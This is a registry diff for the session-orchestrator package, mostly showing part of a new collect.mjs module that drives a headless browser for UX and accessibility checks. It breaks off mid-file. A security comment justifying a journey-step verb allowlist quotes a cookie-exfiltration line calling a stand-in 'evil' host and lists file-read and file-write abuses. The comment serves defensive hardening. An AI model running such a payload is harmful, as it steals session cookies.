session-orchestrator 4.2.0 → 5.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (129) hide show
  1. package/.agents/skills/session-start/SKILL.md +1 -1
  2. package/.agents/skills/ux-grill/SKILL.md +22 -0
  3. package/.claude-plugin/marketplace.json +1 -1
  4. package/.claude-plugin/plugin.json +3 -2
  5. package/.codex-plugin/plugin.json +1 -1
  6. package/.codex-plugin/skills/session-start/SKILL.md +1 -1
  7. package/.codex-plugin/skills/ux-grill/SKILL.md +21 -0
  8. package/.codex-plugin/skills/ux-grill/agents/openai.yaml +5 -0
  9. package/.cursor/commands/ux-grill.md +14 -0
  10. package/.cursor/skills/session-start/SKILL.md +1 -1
  11. package/.cursor/skills/ux-grill/SKILL.md +13 -0
  12. package/.cursor-plugin/plugin.json +1 -1
  13. package/AGENTS.md +2 -1
  14. package/CHANGELOG.md +94 -1
  15. package/README.md +98 -86
  16. package/agents/dialectic-deriver.md +11 -0
  17. package/commands/ux-grill.md +51 -0
  18. package/docs/USER-GUIDE.md +2 -2
  19. package/docs/codex-setup.md +8 -0
  20. package/docs/components.md +7 -7
  21. package/docs/events-schema.md +9 -5
  22. package/docs/github-mirror-protection.md +61 -20
  23. package/docs/migration-v5.md +62 -0
  24. package/docs/scope-collision-guard.md +14 -0
  25. package/hooks/_lib/hook-import-set.json +44 -2
  26. package/hooks/_lib/lock-bootstrap.mjs +84 -1
  27. package/hooks/_lib/vcs-create-matcher.mjs +190 -3
  28. package/hooks/enforce-scope.mjs +201 -0
  29. package/hooks/hooks-codex.json +1 -1
  30. package/hooks/hooks-cursor.json +5 -0
  31. package/hooks/hooks.json +7 -2
  32. package/hooks/on-session-start.mjs +171 -49
  33. package/hooks/post-bash-issue-budget-refund.mjs +375 -0
  34. package/hooks/pre-auq-clarity.mjs +70 -18
  35. package/hooks/pre-bash-issue-budget.mjs +51 -4
  36. package/package.json +2 -1
  37. package/pi/prompts/ux-grill.md +12 -0
  38. package/scripts/ci/assert-vitest-green.mjs +4 -2
  39. package/scripts/dialectic-deriver.mjs +32 -8
  40. package/scripts/emit-session.mjs +72 -1
  41. package/scripts/lib/agent-status.mjs +441 -9
  42. package/scripts/lib/auq/schema.mjs +10 -3
  43. package/scripts/lib/ci-status-banner.mjs +29 -6
  44. package/scripts/lib/claude-md-budget-lint.mjs +52 -2
  45. package/scripts/lib/config.mjs +12 -1
  46. package/scripts/lib/eval/engine.mjs +7 -1
  47. package/scripts/lib/file-lock.mjs +114 -13
  48. package/scripts/lib/git-porcelain.mjs +113 -0
  49. package/scripts/lib/instruction-budget-guard.mjs +415 -47
  50. package/scripts/lib/io.mjs +29 -4
  51. package/scripts/lib/issue-budget.mjs +336 -6
  52. package/scripts/lib/learnings/sizing-subject.mjs +44 -0
  53. package/scripts/lib/locks/staging-fence-lock.mjs +19 -38
  54. package/scripts/lib/locks/state-md-lock.mjs +19 -41
  55. package/scripts/lib/maintenance-due-banner.mjs +11 -1
  56. package/scripts/lib/peer-cards/merger.mjs +143 -0
  57. package/scripts/lib/pre-dispatch-check.mjs +20 -14
  58. package/scripts/lib/project-hygiene.mjs +81 -30
  59. package/scripts/lib/quality-gate.mjs +14 -65
  60. package/scripts/lib/reconcile/engine.mjs +19 -1
  61. package/scripts/lib/reconcile/writer.mjs +278 -11
  62. package/scripts/lib/scope-echo.mjs +346 -0
  63. package/scripts/lib/session-lock.mjs +62 -2
  64. package/scripts/lib/session-record-repair.mjs +91 -0
  65. package/scripts/lib/session-schema/filters.mjs +26 -1
  66. package/scripts/lib/session-start-probes.mjs +419 -53
  67. package/scripts/lib/test-runner/artifact-paths.mjs +30 -5
  68. package/scripts/lib/test-runner/issue-reconcile.mjs +45 -8
  69. package/scripts/lib/tmux-layout/layouts.mjs +62 -4
  70. package/scripts/lib/ux-grill/collect.mjs +1163 -0
  71. package/scripts/lib/ux-grill/compare.mjs +285 -0
  72. package/scripts/lib/ux-grill/manifest.mjs +618 -0
  73. package/scripts/lib/ux-grill/measures.mjs +431 -0
  74. package/scripts/lib/ux-grill/paths.mjs +224 -0
  75. package/scripts/lib/ux-grill/pencil-coverage.mjs +284 -0
  76. package/scripts/lib/ux-grill/reconcile.mjs +344 -0
  77. package/scripts/lib/ux-grill/run-record.mjs +316 -0
  78. package/scripts/lib/ux-grill/schema.mjs +321 -0
  79. package/scripts/lib/validate/check-untracked-test-deps.mjs +33 -19
  80. package/scripts/lib/validate/check-unwired-features.mjs +48 -20
  81. package/scripts/lib/vault-status/board-lock.mjs +18 -0
  82. package/scripts/lib/vault-status/board-writer.mjs +8 -0
  83. package/scripts/mcp-server.sh +16 -1
  84. package/scripts/release.mjs +7 -2
  85. package/skills/bootstrap/SKILL.md +12 -209
  86. package/skills/bootstrap/references/bootstrap-ecosystem-health-flow.md +48 -0
  87. package/skills/bootstrap/references/bootstrap-refresh-lock-flow.md +37 -0
  88. package/skills/bootstrap/references/bootstrap-retroactive-flow.md +108 -0
  89. package/skills/bootstrap/references/bootstrap-rules-fetch-bridge.md +64 -0
  90. package/skills/claude-md-drift-check/SKILL.md +9 -2
  91. package/skills/claude-md-drift-check/checker.mjs +213 -21
  92. package/skills/discovery/SKILL.md +6 -173
  93. package/skills/discovery/probes/vault-staleness.mjs +35 -5
  94. package/skills/discovery/probes-docs.md +8 -4
  95. package/skills/discovery/probes-supply-chain.md +4 -2
  96. package/skills/discovery/probes-ui.md +7 -3
  97. package/skills/discovery/probes-vault.md +12 -4
  98. package/skills/discovery/references/discovery-interactive-triage.md +139 -0
  99. package/skills/discovery/references/discovery-triage-state.md +54 -0
  100. package/skills/eval/rubric-v1.md +13 -0
  101. package/skills/evolve/SKILL.md +2 -458
  102. package/skills/evolve/references/evolve-analyze-mode.md +360 -0
  103. package/skills/evolve/references/evolve-dialectic-mode.md +139 -0
  104. package/skills/plan/mode-retro.md +4 -3
  105. package/skills/reconcile/SKILL.md +10 -0
  106. package/skills/session-end/drift-operations.md +20 -5
  107. package/skills/session-end/metrics-collection.md +1 -0
  108. package/skills/session-end/phase-3-6-tail.md +4 -2
  109. package/skills/session-end/references/phase-2-quality-gate.md +3 -3
  110. package/skills/session-end/references/phase-5-issue-cleanup.md +6 -1
  111. package/skills/session-end/session-metrics-write.md +2 -0
  112. package/skills/session-plan/SKILL.md +2 -144
  113. package/skills/session-plan/references/session-plan-task-classification.md +152 -0
  114. package/skills/session-start/SKILL.md +24 -6
  115. package/skills/session-start/references/operations-contract.md +114 -0
  116. package/skills/session-start/references/phase-4-ssot-environment-check.md +22 -20
  117. package/skills/session-start/soul.md +2 -2
  118. package/skills/test-runner/SKILL.md +1 -1
  119. package/skills/tmux-layout/SKILL.md +3 -1
  120. package/skills/ux-grill/SKILL.md +211 -0
  121. package/skills/ux-grill/rubric-v2.md +201 -0
  122. package/skills/ux-grill/soul.md +76 -0
  123. package/skills/wave-executor/SKILL.md +3 -128
  124. package/skills/wave-executor/references/wave-executor-quality-gate.md +61 -0
  125. package/skills/wave-executor/references/wave-executor-state-init.md +86 -0
  126. package/skills/wave-executor/references/wave-loop-dispatch.md +8 -0
  127. package/skills/wave-executor/references/wave-loop-review.md +18 -5
  128. package/templates/_shared/ux-manifest.template.md +149 -0
  129. package/templates/_shared/journey-manifest.md +0 -114
@@ -0,0 +1,1163 @@
1
+ /**
2
+ * ux-grill/collect.mjs — Stufe 1: the LLM-free mechanical run (PRD § 2 S2).
3
+ *
4
+ * Walks `routes × viewports` (and then the journeys) of a loaded ux-manifest
5
+ * with `agent-browser`, writes the raw artefacts (screenshots, axe JSON,
6
+ * measures JSON) under `.orchestrator/metrics/ux-grill/<run-id>/`, and turns the
7
+ * measured values into fingerprint-stable findings via `schema.mjs`.
8
+ *
9
+ * Three hard properties this module is built around:
10
+ *
11
+ * 1. **Determinism** (PRD § 3 AC "zweimal läuft"): nothing runtime-varying —
12
+ * no timestamp, no run id, no absolute path — ever reaches a finding. Artefact
13
+ * pointers are stored run-dir RELATIVE in `evidence`, and `findings.jsonl` is
14
+ * written sorted by fingerprint, so two runs against the same build diff empty.
15
+ * 2. **No secret ever lands on disk** (PRD § 3 AC "nur die Env-NAMEN"): persona
16
+ * credentials exist only as local variables handed to an `execFile` argv array.
17
+ * Substituted journey step text is never written to an artefact, a finding, a
18
+ * message or stderr — only the step INDEX is.
19
+ * 3. **One seam to the browser**: every `agent-browser` invocation goes through
20
+ * the injected `exec`. `defaultExec` is the only place in this module that
21
+ * touches `node:child_process`, and it always uses an argv ARRAY — a manifest
22
+ * value must never reach a shell (SEC-006/SEC-007 at the process boundary).
23
+ *
24
+ * Exports: CollectError, DEVICE_WIDTHS, JOURNEY_STEP_OVERRUN, STEP_VERBS,
25
+ * defaultExec,
26
+ * sessionName, viewportLocator, journeyLocator, splitStepLine, assertStepArgv,
27
+ * readCommandPayload, readEvalPayload,
28
+ * findingsFromAxe, findingsFromTargets, findingFromOverflow, findingFromTitle,
29
+ * findingsFromErrors, journeyFindings, collect
30
+ */
31
+
32
+ import { execFile } from 'node:child_process';
33
+ import fs from 'node:fs';
34
+ import path from 'node:path';
35
+
36
+ import {
37
+ CHECK_IDS,
38
+ SEVERITY_BY_CHECK,
39
+ SKIP_REASONS,
40
+ makeFinding,
41
+ makeRunRecord,
42
+ severityForAxeImpact,
43
+ } from './schema.mjs';
44
+ import {
45
+ assertGuardedEnvsLoopback,
46
+ assertLoopbackBaseUrl,
47
+ resolvePersonaCredentials as defaultResolveCredentials,
48
+ } from './manifest.mjs';
49
+ import { hasHorizontalOverflow, parseEvalOutput, titleMatches } from './measures.mjs';
50
+ import {
51
+ artefactStem,
52
+ axeDir,
53
+ findingsPath,
54
+ makeRunId,
55
+ measuresDir,
56
+ runDirPath,
57
+ screenshotName,
58
+ screenshotsDir,
59
+ } from './paths.mjs';
60
+ import { appendRunRecord } from './run-record.mjs';
61
+
62
+ /** Binary driven by this module. Resolved via PATH — the global install is `/opt/homebrew/bin/agent-browser`. */
63
+ const AGENT_BROWSER = 'agent-browser';
64
+
65
+ /** `execFile` stdout/stderr cap. A full-page axe JSON on a large route runs to a few MB. */
66
+ const EXEC_MAX_BUFFER = 16 * 1024 * 1024;
67
+
68
+ /** Per-command wall-clock cap. `agent-browser`'s own waits default to 25 s, so this only catches a wedged daemon. */
69
+ const EXEC_TIMEOUT_MS = 120_000;
70
+
71
+ /**
72
+ * How many steps a journey may run PAST its `max-steps` before we stop.
73
+ *
74
+ * Deliberate ceiling (BV-004): a journey that overshoots its budget is still
75
+ * interesting — `journey-step-count` needs the real step count, and success
76
+ * reached at `max-steps + 2` is a different finding from success never reached.
77
+ * Four is enough to separate "slightly over budget" from "lost"; revisit if a
78
+ * manifest ever declares a journey whose legitimate overshoot exceeds it.
79
+ * @type {number}
80
+ */
81
+ export const JOURNEY_STEP_OVERRUN = 4;
82
+
83
+ /**
84
+ * The `agent-browser` verbs a journey step may use — an ALLOWLIST, because a
85
+ * manifest is a sixth command-bearing surface beyond the five in
86
+ * `.claude/rules/security.md` § Session Config Command Trust, and this one is
87
+ * invisible to `hooks/pre-bash-destructive-guard.mjs`: `defaultExec` spawns via
88
+ * `execFile` with `shell: false`, so no step argv ever reaches Bash.
89
+ *
90
+ * What the denied half of the CLI surface can do, all measured as ACCEPTED
91
+ * before this allowlist existed (2026-09-12): `upload <sel> <any host path>`
92
+ * and `cookies set --curl <file>` READ arbitrary host files into the page,
93
+ * `download <sel> <path>` and `pdf <path>` WRITE arbitrary host paths,
94
+ * `eval <js>` exfiltrates off-origin (`fetch('http://evil/?c='+document.cookie)`),
95
+ * `connect <port>` retargets the run at a foreign browser, and `close --all`
96
+ * kills every other agent's session on the machine.
97
+ *
98
+ * The list is the UI vocabulary a journey actually needs, each name verified
99
+ * against `agent-browser --help` (v0.37.1, 2026-09-12). `screenshot` is
100
+ * deliberately absent: `collect()` takes its own after each step.
101
+ * @type {ReadonlySet<string>}
102
+ */
103
+ export const STEP_VERBS = Object.freeze(new Set([
104
+ 'back',
105
+ 'check',
106
+ 'click',
107
+ 'dblclick',
108
+ 'drag',
109
+ 'fill',
110
+ 'find',
111
+ 'focus',
112
+ 'forward',
113
+ 'get',
114
+ 'hover',
115
+ 'is',
116
+ 'keyboard',
117
+ 'open',
118
+ 'press',
119
+ 'reload',
120
+ 'scroll',
121
+ 'scrollintoview',
122
+ 'select',
123
+ 'snapshot',
124
+ 'type',
125
+ 'uncheck',
126
+ 'wait',
127
+ ]));
128
+
129
+ /**
130
+ * Expected `window.innerWidth` per `agent-browser set device` name.
131
+ *
132
+ * MEASURED, never guessed (2026-09-12, agent-browser 0.37.1): each name was
133
+ * applied to a page carrying `<meta name=viewport content="width=device-width,
134
+ * initial-scale=1">` and `window.innerWidth` read back —
135
+ * `iPhone 15` 393 · `iPhone 16` 393 · `iPhone 16 Pro` 402 · `iPhone 17` 402 ·
136
+ * `iPad` 820 · `iPad Pro` 1024 · `Pixel 9` 412 · `Galaxy S25` 360. That is the
137
+ * COMPLETE supported set the tool itself prints when handed an unknown name
138
+ * ("Supported: iPhone 15, iPhone 16, iPhone 16 Pro, iPhone 17, iPad, iPad Pro,
139
+ * Pixel 9, Galaxy S25", exit 1).
140
+ *
141
+ * Two measurement notes, both load-bearing: on a page WITHOUT a viewport meta
142
+ * every one of these names measures 980 (the layout-viewport default), so a
143
+ * width read from such a page proves nothing about the device; and an unknown
144
+ * name leaves the PREVIOUS device in place, which is why an unlisted device
145
+ * without an explicit `expected-width` is skipped rather than trusted
146
+ * (PRD § 5 "set device kennt Gerätenamen nicht").
147
+ * @type {Readonly<Record<string, number>>}
148
+ */
149
+ export const DEVICE_WIDTHS = Object.freeze({
150
+ 'iPhone 15': 393,
151
+ 'iPhone 16': 393,
152
+ 'iPhone 16 Pro': 402,
153
+ 'iPhone 17': 402,
154
+ iPad: 820,
155
+ 'iPad Pro': 1024,
156
+ 'Pixel 9': 412,
157
+ 'Galaxy S25': 360,
158
+ });
159
+
160
+ /** Characters `makeFinding` rejects inside a locator. */
161
+ const LOCATOR_UNSAFE = /[\n\r\0]/g;
162
+
163
+ /** Populated by {@link loadMeasures}; lets the pure helpers classify without an async hop. */
164
+ let classifyTargetSizeRef = null;
165
+ let measuresModule = null;
166
+
167
+ /**
168
+ * Programmer / precondition error. Browser failures are NOT thrown — they are
169
+ * recorded as `skipped` entries in the run-record (PRD § 4 `skipped[]`), because
170
+ * a route that never loaded must not read as "clean" in the next compare run.
171
+ */
172
+ export class CollectError extends Error {
173
+ /**
174
+ * @param {string} code - machine-readable cause, e.g. `'base-url-unreachable'`
175
+ * @param {string} message - one-line human summary; never carries a secret value
176
+ */
177
+ constructor(code, message) {
178
+ super(message);
179
+ this.name = 'CollectError';
180
+ this.code = code;
181
+ }
182
+ }
183
+
184
+ /**
185
+ * Spawn `agent-browser` with an argv ARRAY (never a shell string) and resolve —
186
+ * not reject — on a non-zero exit, so the caller can record a skip.
187
+ *
188
+ * @param {string[]} args - argv passed verbatim to `agent-browser`
189
+ * @param {{timeout?: number, cwd?: string}} [opts]
190
+ * @returns {Promise<{stdout: string, stderr: string, code: number}>}
191
+ */
192
+ export function defaultExec(args, opts = {}) {
193
+ return new Promise((resolve) => {
194
+ execFile(
195
+ AGENT_BROWSER,
196
+ args,
197
+ { maxBuffer: EXEC_MAX_BUFFER, timeout: opts.timeout ?? EXEC_TIMEOUT_MS, cwd: opts.cwd },
198
+ (error, stdout, stderr) => {
199
+ resolve({
200
+ stdout: String(stdout ?? ''),
201
+ stderr: String(stderr ?? ''),
202
+ // `error.code` is the exit status for a normal failure and a string
203
+ // (e.g. 'ETIMEDOUT') when the child was killed — normalise to a number.
204
+ code: error ? (typeof error.code === 'number' ? error.code : 1) : 0,
205
+ });
206
+ },
207
+ );
208
+ });
209
+ }
210
+
211
+ /**
212
+ * Deterministic fallback `agent-browser` session name.
213
+ *
214
+ * Used only when `session id --scope worktree --prefix uxgrill` is unavailable
215
+ * (the daemon is the SSOT when it answers). Never the default (unnamed) session:
216
+ * that one is shared with every other agent on the machine and would contaminate
217
+ * the captures (PRD § 5 "Zwei Sessions teilen den agent-browser-Default-Daemon").
218
+ *
219
+ * @param {string} repoRoot - absolute repo root; its basename disambiguates hosts
220
+ * @param {string} [runId] - appended when given, making the name unique per run
221
+ * @returns {string} e.g. `'uxgrill-session-orchestrator-1757635200123-9f3a01'`
222
+ */
223
+ export function sessionName(repoRoot, runId) {
224
+ const slug = String(path.basename(repoRoot || 'repo'))
225
+ .replace(/[^A-Za-z0-9._-]/g, '-')
226
+ .replace(/-+/g, '-')
227
+ .slice(0, 40);
228
+ return runId ? `uxgrill-${slug}-${runId}` : `uxgrill-${slug}`;
229
+ }
230
+
231
+ /** Strip the characters `makeFinding` forbids, so a hostile selector cannot throw mid-run. */
232
+ function safeLocatorPart(value) {
233
+ return String(value ?? '').replace(LOCATOR_UNSAFE, ' ');
234
+ }
235
+
236
+ /**
237
+ * Route-check locator: `route|viewport|selector` (PRD § 2 S2).
238
+ * @param {string} route
239
+ * @param {string} viewportName
240
+ * @param {string} selector
241
+ * @returns {string}
242
+ */
243
+ export function viewportLocator(route, viewportName, selector) {
244
+ return `${safeLocatorPart(route)}|${safeLocatorPart(viewportName)}|${safeLocatorPart(selector)}`;
245
+ }
246
+
247
+ /**
248
+ * Journey-check locator: `journey|viewport|<name>` (PRD § 2 S2).
249
+ * @param {string} viewportName
250
+ * @param {string} name - journey name
251
+ * @returns {string}
252
+ */
253
+ export function journeyLocator(viewportName, name) {
254
+ return `journey|${safeLocatorPart(viewportName)}|${safeLocatorPart(name)}`;
255
+ }
256
+
257
+ /**
258
+ * Quote-aware splitter for a manifest journey step line into an argv array.
259
+ *
260
+ * Named ceiling (BV-004): handles single quotes, double quotes and backslash
261
+ * escapes ONLY. No variable expansion, no globbing, no `|`/`&&`/`;` operators,
262
+ * no here-docs — a step line is an `agent-browser` invocation, not a shell
263
+ * program, and the argv never reaches a shell. Revisit only if a manifest needs
264
+ * a genuine shell construct, which would be a scope decision, not a parser bug.
265
+ *
266
+ * The leading `agent-browser` word is dropped when present, so both
267
+ * `agent-browser click @e3` and `click @e3` are accepted.
268
+ *
269
+ * This function is a pure SPLITTER — the verb allowlist and the same-origin
270
+ * check on `open` live in {@link assertStepArgv}, which every caller runs on
271
+ * the result. Keeping them apart means the splitter stays testable without a
272
+ * `base-url` and the guard has exactly one implementation.
273
+ *
274
+ * A step carrying its own `--session` is REFUSED (`step-session-override`): the
275
+ * run's session is this module's isolation boundary — the captures, the error
276
+ * buffer and the `close` in the `finally` all hang off it — and a step that
277
+ * retargets it would drive (and then leave behind) somebody else's browser.
278
+ * `collect()` appends its own `--session` LAST, so it also wins on argv order.
279
+ *
280
+ * @param {string} line
281
+ * @returns {string[]} argv tokens (possibly empty for a blank/comment line)
282
+ * @throws {CollectError} code `step-session-override`
283
+ */
284
+ export function splitStepLine(line) {
285
+ const out = [];
286
+ let current = '';
287
+ let started = false;
288
+ let quote = null;
289
+ const text = String(line ?? '');
290
+ for (let i = 0; i < text.length; i += 1) {
291
+ const ch = text[i];
292
+ if (quote) {
293
+ if (ch === quote) quote = null;
294
+ else if (ch === '\\' && quote === '"' && i + 1 < text.length) {
295
+ i += 1;
296
+ current += text[i];
297
+ } else current += ch;
298
+ continue;
299
+ }
300
+ if (ch === '"' || ch === "'") {
301
+ quote = ch;
302
+ started = true;
303
+ continue;
304
+ }
305
+ if (ch === '\\' && i + 1 < text.length) {
306
+ i += 1;
307
+ current += text[i];
308
+ started = true;
309
+ continue;
310
+ }
311
+ if (/\s/.test(ch)) {
312
+ if (started) out.push(current);
313
+ current = '';
314
+ started = false;
315
+ continue;
316
+ }
317
+ current += ch;
318
+ started = true;
319
+ }
320
+ if (started) out.push(current);
321
+ if (out[0] === AGENT_BROWSER) out.shift();
322
+ if (out.some((token) => token === '--session' || token.startsWith('--session='))) {
323
+ throw new CollectError('step-session-override', 'journey step carries --session — steps run in the session collect() owns');
324
+ }
325
+ return out;
326
+ }
327
+
328
+ /**
329
+ * Assert a split journey-step argv is inside the allowed vocabulary.
330
+ *
331
+ * Two rules, both DENY-shaped:
332
+ *
333
+ * 1. `argv[0]` must be in {@link STEP_VERBS}. The refused verb IS named in the
334
+ * message — it is manifest text an operator wrote, not a value — but the
335
+ * rest of the argv never is: a step carries `${LOGIN_PASSWORD}` before
336
+ * substitution and the substituted secret after it.
337
+ * 2. An `open` step must resolve to `baseUrl`'s origin, the same predicate
338
+ * `routes[].path` and `journeys[].start` already pass. Without it, `open`
339
+ * was the one allowlisted verb that could still walk the run — and its
340
+ * substituted credentials — onto a foreign page.
341
+ *
342
+ * `baseUrl` is REQUIRED: a guard whose predicate is optional is not a guard.
343
+ *
344
+ * @param {string[]} argv - as returned by {@link splitStepLine}
345
+ * @param {{baseUrl: string}} opts
346
+ * @returns {string[]} the same argv, so callers can chain
347
+ * @throws {CollectError} `step-verb-not-allowed`, `step-open-off-origin`
348
+ * @throws {TypeError} when `baseUrl` is absent
349
+ */
350
+ export function assertStepArgv(argv, { baseUrl } = {}) {
351
+ if (typeof baseUrl !== 'string' || baseUrl.length === 0) {
352
+ throw new TypeError('assertStepArgv: baseUrl must be a non-empty string');
353
+ }
354
+ const tokens = Array.isArray(argv) ? argv : [];
355
+ if (tokens.length === 0) return tokens;
356
+ const verb = tokens[0];
357
+ if (!STEP_VERBS.has(verb)) {
358
+ throw new CollectError(
359
+ 'step-verb-not-allowed',
360
+ `journey step verb ${JSON.stringify(String(verb))} is not in the allowed UI vocabulary`,
361
+ );
362
+ }
363
+ if (verb === 'open') {
364
+ const location = tokens.slice(1).find((token) => !token.startsWith('-'));
365
+ if (location === undefined) {
366
+ throw new CollectError('step-open-off-origin', 'journey step `open` needs a same-origin location');
367
+ }
368
+ // Throws with the URL absent from the message — see resolveWithinOrigin.
369
+ resolveWithinOrigin(baseUrl, location, { code: 'step-open-off-origin', subject: 'journey step `open`' });
370
+ }
371
+ return tokens;
372
+ }
373
+
374
+ /**
375
+ * Read the payload of an `agent-browser <cmd> --json` result.
376
+ *
377
+ * MEASURED envelope (2026-09-12, v0.37.1) — the reason this is not a bare
378
+ * `JSON.parse`, and the reason a failure cannot be read off the exit code alone:
379
+ *
380
+ * ```
381
+ * $ agent-browser get title --json → {"success":true,"data":{…,"title":"Hello"},"error":null}
382
+ * $ agent-browser errors --json → {"success":true,"data":{"errors":[],…},"error":null}
383
+ * $ agent-browser eval "throw 1" --json
384
+ * → {"success":false,"data":null,"error":"…"} EXIT CODE 0
385
+ * ```
386
+ *
387
+ * So `success: false` at exit 0 is a real failure mode, and a caller that only
388
+ * checked `code !== 0` would record "0 findings" for a check that never ran.
389
+ * Every failure shape collapses into `{ok: false}` here and the caller turns
390
+ * that into a `measure-failed` skip.
391
+ *
392
+ * @param {{stdout?: string, code?: number}} result - as returned by `exec`
393
+ * @returns {{ok: true, value: unknown}|{ok: false}}
394
+ */
395
+ export function readCommandPayload(result) {
396
+ if (!result || result.code !== 0) return { ok: false };
397
+ const parsed = parseEvalOutput(result.stdout);
398
+ if (!parsed.ok) return { ok: false };
399
+ const value = parsed.value;
400
+ if (value && typeof value === 'object' && !Array.isArray(value) && 'success' in value) {
401
+ if (value.success !== true) return { ok: false };
402
+ return { ok: true, value: value.data ?? null };
403
+ }
404
+ return { ok: true, value };
405
+ }
406
+
407
+ /**
408
+ * Read the completion value of an `agent-browser eval … --json` result: the
409
+ * same envelope as {@link readCommandPayload}, plus the `data.result` hop the
410
+ * eval command adds.
411
+ *
412
+ * @param {{stdout?: string, code?: number}} result
413
+ * @returns {{ok: true, value: unknown}|{ok: false}}
414
+ */
415
+ export function readEvalPayload(result) {
416
+ const payload = readCommandPayload(result);
417
+ if (!payload.ok) return { ok: false };
418
+ const value = payload.value;
419
+ if (value && typeof value === 'object' && !Array.isArray(value) && 'result' in value) {
420
+ return { ok: true, value: value.result };
421
+ }
422
+ return { ok: true, value };
423
+ }
424
+
425
+ /** Flatten an axe `target` (nested arrays preserve shadow-DOM boundaries) into one selector string. */
426
+ function flattenTarget(target) {
427
+ if (Array.isArray(target)) return target.map((part) => flattenTarget(part)).filter(Boolean).join(' >>> ');
428
+ return String(target ?? '').trim();
429
+ }
430
+
431
+ /**
432
+ * One finding per axe violation × node target (PRD § 3 AC: two axe rules on one
433
+ * selector stay two findings, which holds because the rule id is in the checkId
434
+ * and therefore in the fingerprint).
435
+ *
436
+ * @param {object|Array} axeJson - parsed `a11y --json` payload, or its `violations` array
437
+ * @param {{route: string, viewport: string, build: string, evidence?: object}} ctx
438
+ * @returns {object[]} findings
439
+ */
440
+ export function findingsFromAxe(axeJson, { route, viewport, build, evidence } = {}) {
441
+ const payload = axeJson && typeof axeJson === 'object' ? axeJson : {};
442
+ const violations = Array.isArray(payload) ? payload : (payload.violations ?? []);
443
+ const findings = [];
444
+ for (const violation of Array.isArray(violations) ? violations : []) {
445
+ const ruleId = String(violation?.id ?? '').trim();
446
+ if (ruleId.length === 0) continue;
447
+ const severity = severityForAxeImpact(violation?.impact);
448
+ const nodes = Array.isArray(violation?.nodes) && violation.nodes.length > 0 ? violation.nodes : [{ target: [':root'] }];
449
+ for (const node of nodes) {
450
+ const selector = flattenTarget(node?.target) || ':root';
451
+ findings.push(
452
+ makeFinding({
453
+ checkId: `axe-${ruleId}`,
454
+ locator: viewportLocator(route, viewport, selector),
455
+ severity,
456
+ build,
457
+ message: String(violation?.help ?? `axe rule ${ruleId} violated`),
458
+ evidence: { ...(evidence ?? {}), impact: violation?.impact ?? null, helpUrl: violation?.helpUrl ?? null },
459
+ }),
460
+ );
461
+ }
462
+ }
463
+ return findings;
464
+ }
465
+
466
+ /**
467
+ * Target-size findings from the `measures.mjs` TARGET_SIZE_EVAL payload.
468
+ *
469
+ * The eval answers a plain OBJECT `{targets, scanned, truncated}` (measured
470
+ * against the real browser 2026-09-12) — `targets` holding only the
471
+ * non-compliant boxes. A bare ARRAY is accepted too, so a caller that already
472
+ * projected `.targets` keeps working. `truncated: true` means the scan hit its
473
+ * cap, which is stamped onto every finding of that page: a truncated scan is a
474
+ * population statement, and a finding derived from one must say so.
475
+ *
476
+ * @param {{targets: Array, scanned?: number, truncated?: boolean}|Array<{selector: string, width: number, height: number}>} targets
477
+ * @param {{route: string, viewport: string, build: string, evidence?: object,
478
+ * classify?: (box: {width: number, height: number}) => ('floor'|'target'|null)}} ctx
479
+ * `classify` defaults to `measures.mjs` `classifyTargetSize` once `collect()`
480
+ * has loaded it — the thresholds live there and are NOT duplicated here.
481
+ * @returns {object[]} findings
482
+ * @throws {CollectError} code `measures-unavailable` when no classifier is reachable
483
+ */
484
+ export function findingsFromTargets(targets, { route, viewport, build, evidence, classify } = {}) {
485
+ const classifier = classify ?? classifyTargetSizeRef;
486
+ if (typeof classifier !== 'function') {
487
+ throw new CollectError(
488
+ 'measures-unavailable',
489
+ 'findingsFromTargets: pass `classify` (measures.mjs classifyTargetSize) — thresholds are not duplicated here',
490
+ );
491
+ }
492
+ const list = Array.isArray(targets) ? targets : Array.isArray(targets?.targets) ? targets.targets : [];
493
+ const truncated = !Array.isArray(targets) && targets?.truncated === true;
494
+ const findings = [];
495
+ for (const box of list) {
496
+ const width = Number(box?.width);
497
+ const height = Number(box?.height);
498
+ if (!Number.isFinite(width) || !Number.isFinite(height)) continue;
499
+ const band = classifier({ width, height });
500
+ if (band !== 'floor' && band !== 'target') continue;
501
+ const checkId = band === 'floor' ? CHECK_IDS.TARGET_SIZE_FLOOR : CHECK_IDS.TARGET_SIZE_TARGET;
502
+ findings.push(
503
+ makeFinding({
504
+ checkId,
505
+ locator: viewportLocator(route, viewport, box?.selector ?? ''),
506
+ severity: SEVERITY_BY_CHECK[checkId],
507
+ build,
508
+ message: `interactive target measures ${width}×${height} CSS px`,
509
+ evidence: { ...(evidence ?? {}), width, height, ...(truncated ? { truncated: true } : {}) },
510
+ }),
511
+ );
512
+ }
513
+ return findings;
514
+ }
515
+
516
+ /**
517
+ * Horizontal-overflow finding, or `null` when the page fits. Locator selector
518
+ * is the literal `document` — the overflow is a property of the page, not of an
519
+ * element.
520
+ *
521
+ * The verdict is `measures.mjs` `hasHorizontalOverflow()`, which applies the
522
+ * `OVERFLOW_TOLERANCE_PX` (1 px) subpixel tolerance. This module used to
523
+ * re-implement a STRICTER comparison (`scrollWidth <= innerWidth` → clean), so
524
+ * a 1439.5 px container in a 1440 px viewport produced a finding here and none
525
+ * in the helper the rubric cites. One predicate, in the module that owns it.
526
+ *
527
+ * @param {{scrollWidth: number, innerWidth: number}} overflow - OVERFLOW_EVAL payload
528
+ * @param {{route: string, viewport: string, build: string, evidence?: object}} ctx
529
+ * @returns {object|null}
530
+ */
531
+ export function findingFromOverflow(overflow, { route, viewport, build, evidence } = {}) {
532
+ const scrollWidth = Number(overflow?.scrollWidth);
533
+ const innerWidth = Number(overflow?.innerWidth);
534
+ if (!hasHorizontalOverflow({ scrollWidth, innerWidth })) return null;
535
+ return makeFinding({
536
+ checkId: CHECK_IDS.HORIZONTAL_OVERFLOW,
537
+ locator: viewportLocator(route, viewport, 'document'),
538
+ severity: SEVERITY_BY_CHECK[CHECK_IDS.HORIZONTAL_OVERFLOW],
539
+ build,
540
+ message: `page scrolls horizontally: scrollWidth ${scrollWidth} > innerWidth ${innerWidth}`,
541
+ evidence: { ...(evidence ?? {}), scrollWidth, innerWidth },
542
+ });
543
+ }
544
+
545
+ /**
546
+ * Title-mismatch finding, or `null` when the title matches `title-pattern`
547
+ * (or when the route declares no pattern — an absent expectation is not a defect).
548
+ *
549
+ * @param {string} title - measured `document.title`
550
